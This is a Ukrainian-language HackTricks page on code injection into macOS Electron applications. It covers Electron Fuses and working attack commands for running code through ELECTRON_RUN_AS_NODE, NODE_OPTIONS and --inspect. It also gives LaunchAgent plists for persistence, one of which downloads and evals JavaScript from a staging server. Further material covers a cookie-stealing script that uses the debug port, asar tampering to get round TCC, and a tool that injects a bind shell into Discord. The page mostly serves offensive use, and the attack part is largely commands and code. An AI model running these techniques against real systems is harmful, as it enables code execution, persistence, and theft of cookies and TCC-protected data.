macOS Electron Applications Injection
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
Якщо ви не знаєте, що таке Electron, ви можете знайти багато інформації тут. Але наразі просто знайте, що Electron запускає node.
А node має деякі параметри та змінні середовища, які можна використовувати для виконання іншого коду окрім вказаного файлу.
Electron Fuses
Ці техніки будуть обговорені далі, але в останні часи Electron додав кілька параметрів безпеки для їх запобігання. Це Electron Fuses і це ті, що використовуються для запобігання Electron додаткам в macOS від завантаження довільного коду:
RunAsNode
: Якщо вимкнено, запобігає використанню змінної середовищаELECTRON_RUN_AS_NODE
для ін'єкції коду.EnableNodeCliInspectArguments
: Якщо вимкнено, параметри, такі як--inspect
,--inspect-brk
, не будуть враховані. Уникаючи таким чином ін'єкції коду.EnableEmbeddedAsarIntegrityValidation
: Якщо увімкнено, завантаженийasar
файл буде перевірений macOS. Запобігаючи таким чином ін'єкції коду шляхом модифікації вмісту цього файлу.OnlyLoadAppFromAsar
: Якщо це увімкнено, замість того, щоб шукати завантаження в наступному порядку:app.asar
,app
і нарештіdefault_app.asar
. Він перевірятиме та використовуватиме лише app.asar, таким чином забезпечуючи, що при поєднанні з параметромembeddedAsarIntegrityValidation
неможливо завантажити неперевірений код.LoadBrowserProcessSpecificV8Snapshot
: Якщо увімкнено, процес браузера використовує файл під назвоюbrowser_v8_context_snapshot.bin
для свого V8 знімка.
Ще один цікавий параметр, який не запобігатиме ін'єкції коду:
- EnableCookieEncryption: Якщо увімкнено, сховище куків на диску шифрується за допомогою криптографічних ключів на рівні ОС.
Checking Electron Fuses
Ви можете перевірити ці параметри з програми за допомогою:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Модифікація електронних запобіжників
Як зазначено в документації, конфігурація Electron Fuses налаштовується всередині бінарного файлу Electron, який містить десь рядок dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
.
У macOS додатках це зазвичай знаходиться в application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
Ви можете завантажити цей файл у https://hexed.it/ і шукати попередній рядок. Після цього рядка ви можете побачити в ASCII число "0" або "1", що вказує, чи кожен запобіжник вимкнений або увімкнений. Просто змініть шістнадцятковий код (0x30
- це 0
, а 0x31
- це 1
), щоб змінити значення запобіжників.
.png)
Зверніть увагу, що якщо ви спробуєте перезаписати бінарний файл Electron Framework
всередині програми з цими зміненими байтами, програма не запуститься.
RCE додавання коду до Electron Applications
Можуть бути зовнішні JS/HTML файли, які використовує Electron App, тому зловмисник може впровадити код у ці файли, підпис яких не буде перевірятися, і виконати довільний код в контексті програми.
caution
Однак на даний момент є 2 обмеження:
- Дозвіл
kTCCServiceSystemPolicyAppBundles
є необхідним для зміни програми, тому за замовчуванням це більше не можливо. - Скомпільований файл
asap
зазвичай має запобіжникиembeddedAsarIntegrityValidation
та
onlyLoadAppFromAsar
увімкненими
Це ускладнює (або робить неможливим) цей шлях атаки.
Зверніть увагу, що можна обійти вимогу kTCCServiceSystemPolicyAppBundles
, скопіювавши програму в інший каталог (наприклад, /tmp
), перейменувавши папку app.app/Contents
на app.app/NotCon
, змінивши файл asar з вашим шкідливим кодом, перейменувавши його назад на app.app/Contents
і виконуючи його.
Ви можете розпакувати код з файлу asar за допомогою:
npx asar extract app.asar app-decomp
І запакуйте його назад після внесення змін з:
npx asar pack app-decomp app-new.asar
RCE з ELECTRON_RUN_AS_NODE
Згідно з документацією, якщо ця змінна середовища встановлена, вона запустить процес як звичайний процес Node.js.
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
Якщо запобіжник RunAsNode
вимкнено, змінна середовища ELECTRON_RUN_AS_NODE
буде проігнорована, і це не спрацює.
Ін'єкція з App Plist
Як пропонується тут, ви можете зловживати цією змінною середовища в plist для підтримки постійності:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE з NODE_OPTIONS
Ви можете зберегти payload в іншому файлі та виконати його:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
caution
Якщо запобіжник EnableNodeOptionsEnvironmentVariable
є вимкненим, додаток ігноруватиме змінну середовища NODE_OPTIONS під час запуску, якщо змінна середовища ELECTRON_RUN_AS_NODE
не встановлена, яка також буде ігноруватися, якщо запобіжник RunAsNode
вимкнений.
Якщо ви не встановите ELECTRON_RUN_AS_NODE
, ви отримаєте помилку: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
Ін'єкція з App Plist
Ви можете зловживати цією змінною середовища в plist для підтримки постійності, додавши ці ключі:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE з інспекцією
Згідно з цією інформацією, якщо ви виконаєте додаток Electron з такими прапорами, як --inspect
, --inspect-brk
та --remote-debugging-port
, порт налагодження буде відкритий, тому ви зможете підключитися до нього (наприклад, з Chrome у chrome://inspect
) і ви зможете впроваджувати код у нього або навіть запускати нові процеси.
Наприклад:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
Якщо запобіжник EnableNodeCliInspectArguments
вимкнено, додаток ігноруватиме параметри node (такі як --inspect
) під час запуску, якщо змінна середовища ELECTRON_RUN_AS_NODE
не встановлена, яка також буде ігноруватися, якщо запобіжник RunAsNode
вимкнено.
Однак, ви все ще можете використовувати параметр --remote-debugging-port=9229
, але попередній payload не спрацює для виконання інших процесів.
Використовуючи параметр --remote-debugging-port=9222
, можливо вкрасти деяку інформацію з Electron App, таку як історія (з командами GET) або куки браузера (оскільки вони дешифруються всередині браузера і є json endpoint, який їх надасть).
Ви можете дізнатися, як це зробити тут і тут та використовувати автоматичний інструмент WhiteChocolateMacademiaNut або простий скрипт, як:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
В цьому блозі це налагодження зловживається для того, щоб безголовий chrome завантажував довільні файли в довільні місця.
Ін'єкція з App Plist
Ви можете зловживати цією змінною середовища в plist для підтримки постійності, додавши ці ключі:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC Bypass зловживанням старими версіями
tip
Демон TCC з macOS не перевіряє виконувану версію програми. Тому, якщо ви не можете інжектувати код в Electron додаток за допомогою будь-якої з попередніх технік, ви можете завантажити попередню версію APP і інжектувати код в неї, оскільки вона все ще отримає привілеї TCC (якщо тільки Trust Cache не завадить цьому).
Запуск не JS коду
Попередні техніки дозволять вам запускати JS код всередині процесу електронного додатку. Однак пам'ятайте, що дочірні процеси працюють під тим же профілем пісочниці, що й батьківський додаток і успадковують їх TCC дозволи.
Отже, якщо ви хочете зловживати правами доступу до камери або мікрофона, наприклад, ви можете просто запустити інший бінар з процесу.
Автоматичне інжектування
Інструмент electroniz3r можна легко використовувати для пошуку вразливих електронних додатків, які встановлені, і інжектування коду в них. Цей інструмент спробує використати техніку --inspect
:
Вам потрібно скомпілювати його самостійно і ви можете використовувати його так:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Посилання
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.